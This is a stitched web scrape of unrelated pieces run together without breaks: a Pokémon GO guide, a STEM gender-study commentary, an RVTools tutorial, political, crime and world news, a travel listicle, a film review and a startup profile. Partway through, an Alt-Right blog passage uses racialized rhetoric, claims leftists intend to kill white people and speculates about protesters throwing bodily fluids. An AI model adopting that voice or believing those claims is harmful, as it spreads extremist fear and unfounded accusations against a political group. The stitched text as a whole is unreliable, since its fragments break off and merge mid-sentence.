You can send extra Pokémon to Professor Willow to receive 1 candy piece for that Pokémon. Do this by scrolling to the bottom of your screen while looking at a specific Pokémon you’ve captured.
Eggs give you candy, for whichever Pokémon they hatch.
Stardust
Every Pokémon you capture grants you 100 stardust.
Pokémon defending gyms will generate stardust, which you can collect roughly once a day from the shield icon, in the top right of the shop interface. More Pokémon defending gyms = more stardust.
Gyms
You’ll need to reach level 5 to take part in any gym activities, so focus on that first. Refer to the previous section for more on leveling. Once you reach level 5, you will be prompted to join a team. There will be a brief introduction for each team, and you will then decide if you want to play for the yellow team, Team Instinct; the blue team, Team Mystic; or the red team, Team Valor.
To claim gyms, you’ll need to assign Pokémon to them. When you do this, they’re removed from your collection and assigned to the gym until defeated. When a gym is claimed, it will reflect which team is currently defending it. Each gym can have up to five Pokémon defenders.
You’ll need to battle other Pokémon defenders multiple times before being able to claim gyms, as they all have a “prestige” attribute you’ll need to chip away to truly defeat them. If there are multiple teammates trying to take over a gym in a battle, teammates can fight together.
Combat
When you’re trying to claim gyms from enemy Pokémon, you’ll want to keep the following in mind.
Make sure you go into battle with your most powerful Pokémon, in terms of CP – the higher the CP, the more effective you’ll be in battle. Also pay attention to which Pokémon you will have to fight. You can do this by swiping to the left when the gym screen is pulled up. Certain types of Pokémon fight better against others, and some offer attacks that do little damage to another type of Pokémon.
You’ll be attacking by tapping your screen as fast as you can, and by waiting on the blue boxes that fill up during battle. (These are located at the top left of your screen, underneath your CP.) When they do, tap and hold the screen for a second to trigger a special attack, which will use up one of the boxes.
What did we miss?
That’s all I feel is really worth mentioning, the rest is pretty self explanatory. By all means though, if we’ve missed something important, let us know on Facebook, and we’ll update it.
Hopefully we’re all a little more successful then we were to begin with, now – but it’s early days for Pokémon Go, and there’s still much to be seen.
Keep an eye on Fraghero for all the best on Pokémon GO.Paris, 20 November 2014 — After EU Commissioner Oettinger’s outrageous blog post, the bad news keeps on coming from the front
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cepts were more likely to select STEM occupations, and math-ability self-concepts had a stronger impact on participants in the high-math/moderate-verbal ability group than on those in the high-math/high-verbal ability group.
Of course, correlation is not causation. Speculation on the causes can provide some diverse interpretation of the results. Here are some excerpts of the authors’ conclusions from the discussion section of the article:
Students with high math and high verbal abilities presumably have a greater range of both STEM and non-STEM career opportunities to choose from, compared with their peers who have high math ability but moderate verbal ability. Notably, the high-math/high-verbal ability group included more females than males. This is an important finding that contributes to current understanding of females’ underrepresentation in STEM fields. Our study provides evidence that it is not lack of ability that causes females to pursue non-STEM careers, but rather the greater likelihood that females with high math ability also have high verbal ability and thus can consider a wider range of occupations than their male peers with high math ability, who are more likely to have moderate verbal ability.
At the end of the study article, the authors conclude with: “it is likely that individuals with high math and high verbal ability (who in this study were predominantly female) believe in their potential to succeed in both STEM and non-STEM occupations. These individuals may also feel they are in a position to consider how a STEM or a non-STEM occupation will fulfill their life goals and values.”
There’s a flipside to this particular interpretation that troubles me a little. I find it hard to believe that women in STEM careers are somehow deficient in their ability to communicate when compared to those in non-STEM careers. By saying this, I am in no way trying to ingratiate myself with my wife, daughter, or female colleagues. Not. At. All.
Also, I think this study highlights commonality among a subgroup of women who choose non-STEM careers, rather than a cause for that choice. The study contains no information regarding each participant’s career path toward their current position at age 33. My turn to speculate and pose a couple of questions. First, did any of the non-STEM career participants in the high verbal, high math group initially pursue a STEM career and then opt out? If so, what is the gender distribution within this subgroup? Such an examination may have shown nothing, but I would like to have seen it.
An article last week by Maia Szalavitz in Time, discusses this study and is entitled “How Cultural Stereotypes Lure Women Away From Careers in Science.” While I might quibble a bit with some conclusions extrapolated from and superimposed on the study results, Szalavitz concludes with an observation that strikes me as spot-on: “addressing the gender gap in STEM careers isn’t so much about boosting women’s aptitude in math and science — their results show that’s not the issue — but in making careers in these areas more welcoming, accessible and financially attractive.”
The study authors also blogged about their findings at The Huffington Post. They conclude there with:
Finally, we suggest that it is time to reframe the STEM gender debate. Instead of focusing on what girls don’t have when it comes to mathematics, we need to focus on what they do have, and how to tap into it. It is up to educators, policymakers, and employers to make the STEM pathway, at all stages, more welcoming to women and girls. Until this happens, we cannot be surprised that millions of math-capable females continue to opt for non-STEM careers, in which they are equally able to excel.
I couldn’t agree more. It’s part of the fallacy of much of the cheerleading for increasing STEM education in general which, at times, fails to address the quantity and quality of careers that await new graduates. I feel it’s not enough to foster an interest in STEM. Those careers need to be perceived as attractive for the long haul. No small feat, that.0 0 0 10 0
One of the best freeware applications which gather a lot of information about VMware vSphere id definitely RVTools utility. Today we’ll have a look at some features which are the most useful ones for IT admins.
RVTools is a Windows.NET 4.0 application which uses the VI SDK to display information about your virtual environments. So, before you download and install the tool, you’ll need to check if your Windows system has at least.NET 4.0 installed.
Once you download and install the MSI package, you can enter the vCenter server IP address or Fully Qualified Domain Name (FQDN), enter your credentials, and connect to your vCenter server.
You can also connect to individual host if your environment does not have vCenter server. RVTools supports also Individual hosts.
The File Menu is organized according to certain categories related to the infrastructure. You can find for example the item VM or the item ESX, which then expands to further details. The example you expand the VM menu to get the full list of individual items related to VMs.
Or you can click the next one, to get everything related to individual ESX/ESXi hosts, such as Cluster, host, NIC, switch, datastore etc…
But when you first connect to the UI without selecting a menu item, you can see the number of TABs. Each tab shows details about one feature. The example below shows details about VMware Tools.
Each colon then shows important information about the VM and the VM tools installed. For example, there is the Upgradeable column, which shows you how which VMs can be upgraded or the Tools version which shows the exact version number.
This information is important when you want to harmonize your VMs and VM tools.
Another useful TAB is vCPU showing different columns. One of the useful ones is CPUs, Sockets and Cores p/s giving you exact information about vCPU configuration in each VM. As a consultant, you came usually across different infrastructures, and this kind of tool is a “gold”.
You may investigate possible configuration issues with oversubscription of CPUs/cores in VMs with this little tool. Does this particular VM need 4 or 8 vCPUs to function?
StarWind Virtual SAN eliminates any need for physical shared storage just by mirroring internal flash and storage resources between hypervisor servers. Furthermore, the solution can be run on the off-the-shelf hardware. Such design allows StarWind Virtual SAN to not only achieve high performance and efficient hardware utilization but also reduce operational and capital expenses. Learn more about ➡ StarWind Virtual SAN.
RVTools and Exporting Capabilities
One of the most features of such a tool is its exporting capability. We can export directly as XLS or CSV. When chose File > Export only, the tool exports the active TAB only. Compared to the two other options which export all TABS. Yes, useful too as sometimes you don’t need everything, just a one or two TABs.
Health Check
RVTools has a very cool capability. It can proceed to health checks of the whole infrastructure which checks the basics and the most important points which shall every admin watch out for. It guides you actually by telling you, hey, watch out on this or that:
If there are any VMs with snapshots
CD-ROM/ISO connected to the VM
Number of vCPUs configured inside of VMs (default is greater than 4)
Free disk capacity
Free Datastore capacity
Floppy connected to a VM
Check for orphaned VMDK files on a datastore
Inconsistent folder names (compared to VM names)
VMware tools status OK
Some of the properties are configurable so, for example, you can change the vCPU check and verify only for example for VMs with more than 8vCPU. Or you can disable the Floppy disk check.
You can do that via the Health > Properties.
RVTools has updates released on regular basis. I think that the creator, Rob de Veij can be proud of his tool.
Wrap up:
You understand now why RVTools is one of the most popular and most useful freeware for VMware infrastructures. It’s easy to use, fast and has tremendous capabilities and details which can be exported for offline analyzing.
Related materials:
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No Ratings YetAn early rush of celebrity fundraising help for Kentucky Senate candidate Alison Lundergan Grimes (D) is fueling expectations she will become the next big thing for Hollywood liberals eager to make a splash on the national political stage.
Mega-producer Jeffrey Katzenberg said in a recent email to his network of Democratic donors that there’s “no more important election being held next year in this country” than the Kentucky Senate race, and pop giant will.i.am will appear at Lundergan Grimes’s first Kentucky fundraiser in a few weeks.
Katzenberg urged his friends to support the Kentucky secretary of state when she makes a late September swing through California.
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Kentucky Democrats say the celebrity fundraisers are likely the first of many assists Lundergan Grimes will get from stars eager to topple Senate Minority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R).
George Clooney, a Kentucky native who has dipped into Democratic politics and activism before in the state, is one star observers hope to see support Lundergan Grimes’s bid.
More help could come from actress Ashley Judd, who initially considered running against McConnell herself. Judd has already endorsed Lundergan Grimes, and could be a powerful fundraising force for the candidate.
Several other reliable Hollywood Democratic donors are rumored to be looking at ways they can help.
“Katzenberg and [Steven] Spielberg and [Harvey] Weinstein, a lot of those people involved with DreamWorks and other Hollywood production companies, are gonna raise a lot of money for her. That’s the expectation,” said Kentucky Democratic operative Danny Briscoe.
Democrats, and their donors, have placed McConnell at the top of the 2014 hit list, largely because he’s seen as one of the biggest obstacles to President Obama’s agenda.
Lundergan Grimes, a 34-year-old relative political newcomer, stands to benefit because early polls have shown her competitive against McConnell.
But the Hollywood money will only continue to flow, Democrats warn, if Lundergan Grimes proves herself as a credible threat to McConnell.
Briscoe said the onus is on Lundergan Grimes to build a strong campaign, even if the ultimate focus is McConnell.
“The motivation is, they wanna get rid of McConnell, and it’s any port in the storm to do that. But there’s gotta be a port,” Briscoe said.
The first clear measure of the enthusiasm behind Lundergan Grimes’s campaign finances will come in mid-October, with the release of her first fundraising report.
Two numbers from her campaign will matter: the overall amount raised, an indication of how eager Democrats nationwide are to defeat McConnell; and the amount raised from in-state donors, an indication of how much support she’s picking up in Kentucky.
But Kentucky’s not a wealthy state, and its base of Democratic donors is thin.
That’s where Hollywood donors, and the Democratic Party’s own stars, could make a difference for Lundergan Grimes, who must contend against McConnell’s fundraising juggernaut.
Lundergan Grimes has already shown she’s keen to tap into the network of celebrity donors, employing Diane Hamwi, who was Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE’s Western regional finance director in 2008, as her California fundraising chairwoman.
The Clintons themselves are expected to give a hefty boost to Lundergan Grimes’s campaign.
Her father, Jerry Lundergan, is a prominent Kentucky Democrat who previously served as chairman of the state party and as Kentucky chairman of Hillary Clinton’s presidential campaign.
Bill Clinton William (Bill) Jefferson ClintonInviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 Trump says he never told McCabe his wife was 'a loser' MORE has already appeared in a video message at the candidate’s kickoff event earlier this summer.
One of the Clintons was in talks to appear at another fundraiser before the close of the coming filing deadline, but scheduling conflicts caused them to postpone that visit.
Lundergan Grimes’s campaign declined to discuss its fundraising and said only that it was proceeding at a good pace.
Kentucky Attorney General Jack Conway’s $2.7 million in-state haul for his 2010 Senate campaign against Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.) is currently considered the high-water mark for a Democrat running in a federal race in the Bluegrass State.
Lundergan Grimes could easily top that, said Achim Bergmann, who ran the campaign of McConnell’s last Democratic opponent, Bruce Lunsford.
“I’d expect her to raise $4 million in-state with her network, combined with the real belief McConnell can lose — and that belief is growing,” he told The Hill.
But observers are expecting Lundergan Grimes will need upward of $15 million to even match half the amount McConnell is likely to spend.
Attracting Hollywood money to close the fundraising gap, however, presents its own dangers.
Already, McConnell’s team has used the news of Katzenberg’s support in its own fundraising pitch, warning that “out of touch liberal extremists... want to transform Kentucky and America into their own personal Hollywood, limousine liberal fantasy.”
And as Judd learned, some Hollywood stars come with baggage of their own that could make it difficult for them to make Lundergan Grimes their cause célèbre in 2014.
“It’s becoming clear that Alison Lundergan Grimes got into this race to mingle with the Hollywood elite and make herself famous amongst the national liberal chattering class instead of representing the hard working families of Kentucky,” McConnell spokeswoman Allison Moore said.
One Kentucky Democratic operative, who requested anonymity to speak frankly on the race, was surprised at will.i.am’s inclusion at Lundergan Grimes’s first Kentucky fundraiser.
“I’m a little surprised that, right out of the gate, when the race is still not defined on Kentucky’s terms, that outside help, so to speak, is being brought in so quickly,” the Democratic operative said.
Another risk — stars who are flashy enough to raise big bucks are also flashy enough to draw increased scrutiny and distract from Lundergan Grimes’s main goal: keeping the focus on McConnell.
The distractions of Hollywood influence became an issue for George Clooney’s father, Nick, who ran and lost as a Democrat in Kentucky’s 4th Congressional District in 2004. His defeat was blamed, in part, on controversy surrounding the help he received from his son.
At the time, a spokesman for Clooney’s Republican opponent accused Nick Clooney of relying on his famous son because he “can’t raise the money on his own.”
Nathan Smith, who’s hosting the will.i.am fundraiser for Lundergan Grimes, dismissed suggestions that the pop star’s appearance could fuel Republican attacks on the candidate.
He noted McConnell has controversial ties of his own to various interest groups, and has also had his own big-money fundraisers in Hollywood and elsewhere.
“It’s not like McConnell’s not open to the same attacks. That won’t hold water in Kentucky,” he said.The cherries were jarred and labeled in a brick building on Dikeman Street, a few blocks from the south Brooklyn waterfront, roughly half a mile from Ikea. The 67-year-old family business supplied its syrupy toppings to familiar chains like TGI Fridays, Red Lobster, Buffalo Wild Wings, and Chick-fil-A. Red runoff from factory operations—more than 14 million pounds of cherries per year—had been reported in the nearby water, and area bees had reportedly turned red. On Tuesday, two environmental agencies and the Brooklyn District Attorney's office conducted a raid on the headquarters of Dell's Maraschino Cherries, wherein agents spotted "suspicious shelving" attached to a wall by magnets. The family patriarch, Arthur Mondella, retreated into the bathroom and told his sister, "Take care of my kids," then pulled a gun on himself. The rest of the details feel ripped from an episode of Breaking Bad. As reported by The New York Daily News:
After Mondella shot himself in the head, investigators were shocked to discover three bags holding about 80 pounds of pot and hundreds of thousands of dollars in cash stashed in the factory, sources said.
Later, after executing a search warrant on the secret entrance, investigators uncovered "a huge marijuana-growing operation" underneath the warehouse, a source said.
In the space below the plant, they also found numerous high-end vehicles, including a Rolls-Royce, a Porsche and Harley-Davidson motorcycle.
The scene played out on the same day that Alaska became the third state to legalize recreational marijuana to adults 21 and older, and less than 48 hours before a similar law goes on the books in Washington, D.C. Last summer, Brooklyn District Attorney Kenneth Thompson announced that his office will no longer prosecute citizens caught with 25 grams or less of marijuana and no prior record. Obviously, Mondella had much, much more than that.SINGAPORE - Rail operator SMRT Corp and regulator Land Transport Authority (LTA) are deciding what to do with the problematic Bukit Panjang LRT, including scrapping the system altogether.
In a company blog, SMRT Trains managing director Lee Ling Wee said a joint team is reviewing the future of the system with a view to giving it a major overhaul.
"It will be more than just a makeover," Mr Lee wrote, adding that the 17-year-old system is near "the end of its design life".
He said there are three options on the table.
One, to deploy self-powered autonomous guided vehicle on the existing viaduct.
Two, build a new LRT system with significant design enhancements in key infrastructures such as power supply, signalling, rolling stock, tracks and stations.
Three, to renew the existing Bombardier system with a more updated signalling system - allowing trains to be tracked more accurately, and to ply at a higher frequency.
Mr Lee said that an idea to do away with the entire LRT system was also mooted and for residents in the Bukit Panjang area to go back to riding buses.
Related Story Track fault disrupts Bukit Panjang LRT services for 6 hours
Related Story A fussy LRT system in need of overhaul
"This is not far-fetched, as a fully loaded high-capacity bus like a double-decker can take 130 passengers, which is more than the 105-person capacity of a single Bombardier train," he said.
He said this option would of course lead to more road congestion.
In response to queries, LTA said it is working with SMRT on an overall review of the longer-term future of the system.
"We are carefully evaluating the various options given the implications on residents and commuters. Replacing the light rail system with an all-bus option is not likely to be practical given road capacity," it added.
As the joint team decides on the long-term solution to fix the problem-prone system, SMRT is putting in place short-term measures to address its reliability issues.
These include replacing its rail brackets, load-testing trains to reduce power faults, adjust motor controller settings, and install cameras on the undercarriage of four train cars to monitor interface between trains and rail.
The Bukit Panjang LRT line has been beset with problems since it began operating in 1999, most recently last week when train services were suspended between interchange stations for almost five hours, causing inconvenience for thousands of commuters.'Daily Show' correspondent Jessica Williams. (Photo11: Steve Mack, FilmMagic)
The world is still waiting to hear who will replace Jon Stewart as the host of The Daily Show. And while we don't know who will be sitting in Stewart's chair we do know for sure who won't be: current Daily Show correspondent Jessica Williams.
The comedian nipped speculation about her taking over for Stewart in the bud Sunday, by tweeting that she is "not hosting" and is "extremely under-qualified for the job." However, not everyone was satisfied with this declaration.
Ester Bloom of the website The Billfold posted an article titled "On the Daily Show's Jessica Williams, the Latest High-Profile Victim of Impostor Syndrome" in which she argued that Williams was underselling herself:
"Jessica Williams, respectfully, I reject your humility. What on earth does 'under-qualified' mean when it comes to being a comedian? You're smart, you're funny, you're self-possessed. Is there something I'm missing?"
Bloom later went on to say that "all Williams needs is a pep talk" and suggested she get "the best Lean In group of all time," referencing Facebook COO Sheryl Sandberg's Lean In initiative.
Williams slammed the article on Twitter Tuesday night, calling the whole thing "incredibly insulting." She laid out her strong objections in a series of tweets:
"Because you have personally decided, that I DON'T know myself- as a WOMAN you are saying that I need to lean in. Are you unaware, how insulting that can be for a fully functioning person to hear that her choices are invalid? Because of my choice, you have diagnosed me with something without knowing me at all. For the world to see. If I wanted my personal choices for myself deemed invalid, I'd go to a mysoginist (sic). This, quite honestly, hurt my feelings. Also don't call me a "victim"? How can you call me a "victim" for making a choice for myself. I'm sorry but how? Is it possible that I know &love myself enough to admit what Im (sic) not ready for?W/out regard to what other people want me to be?"
She then sent the following tweet:
I am a black woman and I am a feminist and I am so many things. I am truly honored that people love my work. But I am not yours. — Jessica R. Williams (@msjwilly) February 17, 2015
She followed up with a tweet about 30 minutes later that said, "No offense but Lean the (expletive) away from me for the next couple of days. I need a minute."
Bloom later added the following to the bottom of her Billfold article:
"ETA: I apologize for being insensitive here. I should have underlined that of course the choice belongs only to Williams. If she had said, 'I don't want the job,' I would have left it there. Her saying 'I'm not qualified' is what intrigued me, especially since I've read so much about Impostor Syndrome lately and that's so often the language women use.
Again, I want to emphasize that I have enormous respect for Williams. I think she's talented and funny and great. That said, Williams is not accountable to either old white tastemakers or, as the also talented and funny Wyatt Cenac pointed out, to young opinionated ones like me. The decision is entirely hers."
Read or Share this story: http://usat.ly/1A5LutxThe neighbor of a Florida man invoking an obscure real estate law to stake a claim to an empty $2.5 million mansion said he believes that the man is a pawn in a attempt to cash in on the empty property.
Andre "Loki" Barbosa has lived in the five-bedroom Boca Raton, Fla., waterside property since July, and police have reportedly been unable to remove him. The Brazilian national, 23, who reportedly refers to himself as "Loki Boy," cites Florida's "adverse possession" law in which a party may acquire title from another by openly occupying their land and paying real property tax for at least seven years.
The house is listed as being owned by Bank of America as of July 2012, and that an adverse possession was filed in July.
After Bank of America foreclosed on the property last year, the Palm Beach County Property Appraiser's Office was notified that Barbosa would be moving in, according to the South Florida Sun-Sentinel.
The Sun-Sentinel reported that he posted a notice in the front window of the house naming him as a "living beneficiary to the Divine Estate being superior of commerce and usury."
On Facebook, a man named Andre Barbosa calls the property "Templo de Kamisamar."
A neighbor of the Boca property, who asked not be named, told ABCNews.com that he entered the empty home just before Christmas to find four people inside, one of who said the group is establishing an embassy for their mission, and that families would be moving in and out of the property. Barbosa was also among them.
Police were called Dec. 26 to the home but did not remove Barbosa, according to the Sentinel. Barbosa reportedly presented authorities with the adverse possession paperwork at the time.
The neighbor said he believes that Barbosa is a"patsy."
"This young guy is caught up in this thing," the neighbor said. "I think it's going on on a bigger scale."
Bank of America responded to ABCNews.com, saying that it is in communication with the Boca Raton police department regarding concerns at the house.
"There is a certain legal process we are required by law to follow and we have filed the appropriate action. The bank is taking this situation seriously and we will work diligently to resolve this matter," the bank said in a statement.
Barbosa could not be reached for comment.
The Florida Department of revenue even posts the form to establish adverse possession on its website, but it is not the equivalent of a lease.
The neighbor says that although the lights have been turned on at the house, the water has not, adding that this makes it clear it is not a permanent residence. The neighbor also says that the form posted in the window is "total gibberish," which indicated that the house is an embassy, and that those who enter must present two forms of identification, and respect the rights of its indigenous people.
"I think it's a group of people that see an opportunity to get some money from the bank," the neighbor said. "If they're going to hold the house ransom, then the bank is going to have to go through an eviction process.
"They're taking advantage of banks, where the right hand doesn't know where the left hand is. They can't clap."A source claiming to be in possession of an iPad 3 prototype provided BGR with images containing details about Apple’s highly anticipated third-generation tablet. From the data in the photos, which contain the output from an iPad 3 using a development and debug tool called iBoot, we can infer plenty of information about the upcoming iPad 3. For starters, the model numbers are J1 and J2 (iPad3,1 and iPad3,2), and while DigiTimes reported this a few weeks ago, these two models are not different devices, just a single iPad available in two versions — one with Wi-Fi only and one with Wi-Fi and embedded GSM/CDMA/LTE for all carriers. Also included in the photos is, for the first time, confirmation of which processor Apple will be using in the iPad 3: an A6 processor with model number S5L8945X. For reference, the Apple A4 model was S5L8930X and the A5 is S5L8940X. The new processor will also apparently be a quad-core model, making the upcoming iPad 3 the fastest iOS device ever, we have been told. More screenshots are included in our gallery below.9 Shares Pin Reddit 3
Traveling is on the short list of wishes many people have in their lifetime. Dreaming of distant, exotic lands with strange languages and unique foods is nothing new. Keeping it domestic and wishing to explore all the beauties America posses is also part of the travel dream. What is relatively new is the images of traveling black people everywhere! I can’t scroll for two seconds on my Instagram feed without seeing a black person in some exotic land. We are officially living in booming days of black travel.
Of course, traveling is not new to black people. But technology has enabled us to connect with other adventure seekers and facilitated the birth of many black travel groups and companies that serve this traditionally under served market. Social media, for its part, has helped push this movement to the forefront.
@createadopelifee fun loving #Bali #Indonesia? #soultravel A post shared by Black Travel- Soul Society 101 (@soulsociety) on Oct 10, 2017 at 8:10pm PDT
Traveling can be expensive and time consuming, but there are many who have found ways to travel for cheap and even make traveling their livelihood. If you’re wondering how this can be done, we have listed few ways you can make money and travel the world. And if you’re thinking about traveling soon, check out our 14 must visit places in Africa.
Work remotely– No, you don’t need to quit your job to travel the world. As we get more and more wireless and challenge the traditional ways of working, more companies are allowing their employees to work from home. Sure, you might have expected hours that you need to be available to work, but there is no limitation on where you need to be. Take your laptop and work from a different city for a week, a month! If this is not a norm in your company, maybe speak to your boss about the possibility of working remotely.
Teach a language- You probably saw the fliers for this opportunity when you were in college but it can be done at any age! If you can’t get hired by an established company, you can still start up your own business as a private tutor.
Capture the moment. @trevor_stuurman // Mombasa, Kenya. #travelnoire #mombasa #thisisafrica?? A post shared by Travel Noire (@travelnoire) on Jul 29, 2017 at 12:55pm PDT
Writing– Blogging is the most popular way to travel for a living. But in this very competitive online world that’s filled with travel blogs, it might take a while for you to make money off your own blog. In the mean time, you can be a freelance writer and sell your writing skills and articles to other websites, especially niche websites that are looking for stories about the countries you are visiting or issues and stories you’re encountering.
Work on a cruise ship– I have heard very mixed stories about working on a cruise ship. Some love it while others hate it passionately. Working on a cruise ship does offer you the chance to travel, with many of the locations being tropical and most coveted spots.
RELATED: Wiwashimara- Black Owned Bubble You Need To Travel To
Travel Photography– This is similar to writing. If you’re just starting out in the business, it might take a while for you to establish yourself and make a living selling your travel photography. However, you can work as a freelance photographer all over the world in the mean time. You can sell your photos to stock photography websites and take on photography assignments.
#cocoatravelersintl @sunsear in #Cairo #Egypt #winning A post shared by Cocoa Travelers International (@cocoatravelersintl) on Oct 3, 2017 at 10:29am PDT
Volunteer– This one doesn’t pay you directly when you’re traveling, but most organizations will accommodate housing and even meals for you. That means, you need to have very little in cash to live abroad for a few weeks to few months and possibly a year.
Work at organic farms– The World Wide Organization of Organic Farms provide you with housing and meals to work their farms for free. Your working hours will range between 4-6 hours and you will have the rest of your time to spend as you please.
@mkpetros "Can you tell I love East Africa?" #0latitude0problems #EquatorLine #TheWorldIsYours #TheBlackTravelClub A post shared by The Black Travel Club (@theblacktravelclub) on Oct 15, 2017 at 4:52pm PDT
Work in the travel industry– This can range from being a seasonal tour guide to being a seasonal hotel clerk. You get to work in one country in their busy tourist season and hop over to another one that’s just starting their busy season.
Be an extra in foreign TV and Film productions– As the entertainment industry booms in many countries around the world, their need for extras is also growing. Many productions will be looking for a specific look of people that you might fit. You can make decent money and be a star in the background.
These are just a few of the many, many ways you can travel while making money. At the end of the day, you just need to make the decision and go for it!A single, silent shot of a meteor in space. A naked woman with something long and slimy crawling over her leg. Those are the first two shots of director Amat Escalante’s The Untamed and the best part about them is how they feel totally unrelated to what follows.
What follows feels like a semi-typical, repressed adult drama. There’s Veronica (Simone Bucio), the woman with the leg. She meets a doctor named Fabian (Eden Villavicencio) whose sister, Alejandra (Ruth Ramos), is not happy in her marriage to Angel (Jesus Meza), a major problem as they have two young boys. Connections between these people develop and, for the bulk of the film, Escalante explores them in a recognizable, but raw, realistic fashion. You almost forget about those first two shots of the movie.
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But those shots cast a fascinating shadow on the film. So as you watch this upsetting tale of lies, sex, poverty, homophobia, and violence, there’s always a twinge that makes you remember things are going to eventually take a turn for the weird.
Once that happens, The Untamed glues itself to your consciousness. There are a handful of images in the film that you will never forget—seeing them, your mind races with the implications and beauty of what that meteor and crawly thing represent. And though Escalante doesn’t provide all the answers to the film’s mysteries, for the most part he provides just enough shocking visuals and information to explain why these science fiction elements are there. More importantly, he strongly hints at why they’ve changed the characters in the movie and how those characters view the world around them. To say more would spoil some beautiful reveals.
The Untamed is science fiction used for a subtle, serious subject. It’s a disturbing film, a slow film, but ultimately a hugely surprising and revelatory one. Subjects like the ones Escalante is tackling are not usually associated with meteors and creepy crawly things, but maybe if more people see The Untamed, they’ll realize unrealistic elements can have a huge impact on our vision of reality. It certainly works wonders here.
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The Untamed played at Fantastic Fest 2016, and does not yet have U.S. distribution.The Taliban has killed scores of civilians in two separate attacks in Afghanistan just days after being invited to try to resume peace talks.
A suicide bomber on a motorcycle killed at least 11 and wounded 40 in the eastern city of Asadabad on Saturday morning. Most of the victims were civilians and children playing in a park, but the pro-government militia commander, Haji Khan Jan, was also killed, the governor of Kunar province told Reuters.
Facebook Twitter Pinterest Injured men are brought into a hospital after the attack in Asadabad. Photograph: Parwiz/Reuters
The capital, Kabul, was hit in the afternoon when a suicide bomber detonated an explosives vest in a pedestrian area between the ministries of finance and defence, apparently targeting government employees.
The attack killed at least 12, including two government staff members, and wounded eight, the defence ministry spokesman Dawlat Waziri said.
The attacks are likely to be regarded as a response to the meeting in Kabul this week between Afghan, Pakistani, US and Chinese officials who are trying to revive peace talks.
The quartet gave the Taliban an “ultimatum”, as the Afghanistan Analysts Network termed it, to either join the next meeting, slated for early March, or face a military clampdown.
The most recent peace process involving the Taliban collapsed in July when it was revealed that the group’s leader, Mullah Mohammad Omar, had died in 2013.
After an unusually fierce Taliban campaign through the winter, many worry that if it is not persuaded to decrease violence, this year could be the most challenging yet for the Afghan security forces. Many also think the militants won’t have much incentive to seek peace as long as their military momentum continues.
According to the New York Times, the Taliban now controls more territory than at any point since 2001.Antifa always proves to be their own worst enemy – it’s their actions that likely helped to catapult Trump through the Primaries and General Election due to the fear many White normies felt when watching normal people being subjected to vicious attacks on the streets of America.
But I truly believe that we’ve moved beyond the point where the Left could contain their anger and exercise true self-control.
Their hatred of the White Man has now gone into overdrive, and has begun to manifest itself in ways that many of us on the Alt-Right have warned about for years and years.
Cucking isn’t going to work, negotiations aren’t going to work, and turning the other cheek in the method taught by corrupt “churches” isn’t going to work (that phrase has been interpreted in the wrong way, but that’s a discussion for another time).
They are going to try to kill us – it’s just that plain and simple.
Breitbart:
Rioting broke out among leftists in the aftermath of President Donald Trump’s Tuesday rally in Phoenix, AZ. Police responded with tear gas and rubber bullets. Shortly after the president’s speech ended and night fell in Phoenix, protesters began to throw water bottles and scream obscenities at police.
$100 on the line that some of these bottles were filled with urine, feces, or some sick combination of body fluids following a recipe that was at one point confined to prisons.
After being told to disperse, some refused to do so. CBS News reported they were met with tear gas and “less lethal rounds,” commonly known as rubber bullets. Many of the protesters carried “anti-racist” slogans of the #Resistance. Others clearly bore the trademark black and red flags, face coverings, black clothing, and downward spear emblems popular with the extraordinarily violent “Antifa”
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early product failures to trying to work on something he had no interest in.
I wasn’t passionate about social media analytics. In fact, there are few things in this space more boring to me than social media management software.
Building a product that you’re not passionate about is really, really hard. I really wanted to solve my own problems.
Scratching His Own Itch
The idea for Proposify had started long before the team began building it.
Even in his early agency days, Kyle was frustrated by the proposal process, with proposal creation being assigned to junior designers and taking long hours to complete.
He began working on wireframes back then, and would occasionally pull them out of a desk drawer in his basement to revisit them.
Finally, after two failed products, he thought that maybe it was time to give his proposal software idea another go.
Because of those failures, we thought “let’s try to build this really ugly and dirty for now, because to really make it live up to the vision is going to require somebody really, really good. It was a pretty intense software build, but we couldn’t afford that at the time. And so we ended up doing an exchange with a client whose son was a developer. I offered to design his application myself so that it didn’t pull from any of our agency resources, and in exchange, he’d build version one of what we were calling Proposify. He agreed, and after a couple of months, we looked at it, and it was just god awful.
There was a pitch competition going on in Halifax that we were told about the day before the event, and when we heard about it, we decided to go. I ended up pitching it at this demo day, and to my surprise, there were investors in the audience that later came up to me saying things like “holy shit, this is awesome.” There was also somebody in the audience from the local government. We’re blessed up here in Canada to have things like the Atlantic Canada Opportunity Agency (ACOA). They’re federally funded, and basically they can give grants to businesses they believe in. Somebody from ACOA came up to me and they said, “hey this looks like something we could help you with.” Amazingly, they ended up giving us a grant to hire a specialized developer to work on our software for a year. So we put up a job posting, and we were very specific about what we asked for. Sure enough, we found Jonathan, who is now our CTO. He’s a mad JavaScript genius; we showed him all of the crazy things we wanted to do, like build an editor in the browser from scratch, and he was like, “cool I can do that.” Later we found out that he had never done that before, and he had no idea how to do it, but he figured it out.
Building a Real Product
With Jonathan on board, the team got to work turning their prototype into a real product that customers could actually use.
We hired Jonathan in January, and he took four months to build version one. He basically threw out everything we had before, started from scratch and built it out. So four months later, we released it. I had started blogging a little while before then, had put up a landing page and drove a little bit of AdWords to start collecting email addresses and doing a bit of pre-marketing for it. So by the time we launched the first version in April, we had a small email list of around 100 people to send it to. That’s when we started getting super-specific feedback about the product, and it’s one of the reasons I always tell people that customer development is so important. When I was envisioning the tool, I had never thought anybody would want things like proposal templates or online signatures or even metrics to be able to view how long people looked at certain sections. It was very foreign, as that wasn’t something I had ever really needed or done with RFP’s; I thought the pain I was really solving was making it faster to build proposals, but then after enough customer development, it just became clear that people wanted all of these things.
As Jonathan fine-tuned the product, Kyle worked on the design himself.
It was my little baby passion project, and I didn’t want to tie up any other internal resources; we couldn’t afford to, we needed them working on client stuff.
